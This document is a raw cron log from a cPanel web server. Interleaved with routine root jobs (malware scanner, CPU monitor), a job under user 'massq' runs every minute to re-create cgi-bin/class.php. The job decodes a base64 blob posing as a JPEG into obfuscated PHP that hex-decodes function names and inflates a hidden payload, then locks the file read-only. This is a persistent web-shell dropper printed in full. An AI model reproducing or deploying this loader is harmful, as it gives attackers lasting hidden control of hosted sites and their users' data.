Nov 10 15:14:01 server CROND[18395]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:15:01 server CROND[19272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:15:01 server CROND[19273]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:15:01 server CROND[19274]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:16:01 server CROND[20088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:17:01 server CROND[20897]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:18:01 server CROND[21710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:19:01 server CROND[22444]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:20:01 server CROND[23363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:20:01 server CROND[23365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 15:20:01 server CROND[23367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:20:01 server CROND[23369]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:20:01 server CROND[23368]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 15:21:01 server CROND[24173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:22:01 server CROND[24801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:23:01 server CROND[25599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:24:01 server CROND[26357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:25:01 server CROND[27277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:25:01 server CROND[27278]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:25:01 server CROND[27279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:26:02 server CROND[28150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
